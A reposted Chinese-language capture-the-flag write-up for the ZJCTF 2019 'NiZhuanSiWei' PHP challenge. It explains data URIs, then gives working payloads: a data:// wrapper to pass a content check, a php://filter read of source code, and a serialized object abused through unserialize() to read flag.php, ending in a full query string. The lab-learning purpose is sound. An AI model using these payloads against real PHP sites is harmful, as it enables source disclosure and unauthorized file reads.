[ZJCTF 2019]NiZhuanSiWei


通過這個題來記錄幾個繞過技巧

題目鏈接:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

相關知識點:

  1. data協議寫入文件
  2. php協議讀取源碼
  3. php序列化

Data URI

Data URI scheme 簡稱 Data URI,經常會被錯誤地寫成 data URLs。即前綴為data:協議的的URL,其允許內容創建者向文檔中嵌入小文件。

語法: data:①[<mime type>]②[;charset=<charset>]③[;<encoding>]④,<encoded data>⑤

①協議頭,它標識這個內容為一個 data URI 資源。

②MIME類型,text、image、audio、video、application

③[;charset=<charset>],源文本的字符集編碼方式,默認編碼是 charset=US-ASCII, 即數據部分的每個字符都會自動編碼為 %xx

④ 數據編碼方式(默認US-ASCII,BASE64兩種)

⑤ 編碼后的數據

應用實例

1.在Html的Img對象中使用

<img src="data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF..." />

2.在Css的background-image屬性中使用

div.image {
    width:100px;
    height:100px;
    background-image:url(data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF...);
}

3.在Html的css鏈接處使用

<link rel="stylesheet" type="text/css" href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." />

4.在Html的javaScript鏈接處使用

<script src="data:text/javascript;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." type="text/javascript"></script>

5.data RUI scheme也可以直接在瀏覽器的地址欄中輸入進行訪問 ,這道題目就是這種場景下的使用實例。

data:text/html,<html><body><p><b>Hello, world!</b></p></body></html>
data:text/plain;charset=UTF-8;base64,5L2g5aW977yM5Lit5paH77yB

 

題解

題目上來給了一段源碼:

<?php   
$text = $_GET["text"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 
    if(preg_match("/flag/",$file)){ 
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password); 
        echo $password; 
    } 
} 
else{ 
    highlight_file(__FILE__); 
} 
?>

  首先分析一下,有三個參數是可控的:$text、$file、$password。源碼通過一層一層過濾來阻止輸出$password。

第一層過濾:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 

  需要傳入參數$text,文件$text的內容必須是  "welcome to the zjctf",這里可以使用data協議來實現。payload如下:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

  這里也可以不用base64,使用base64是用來繞過某些過濾。

第二層過濾:

if(preg_match("/flag/",$file)){ 
    echo "Not now!"; 
    exit();  
}

直接訪問useless.php看不到源碼,需要想辦法看到useless.php的源碼,preg_match函數對"/flag/"進行了過濾,說明不能直接將useless.php賦值給$file,這里可以使用filter協議進行讀取文件源碼,payload如下:

file=php://filter/convert.base64-encode/resource=useless.php

得到一串base64編碼,解碼之后就是useless.php內容:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

第三層過濾就是對Flag類進行一個序列化,傳入參數password就可以了。

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  


$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

最終的payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM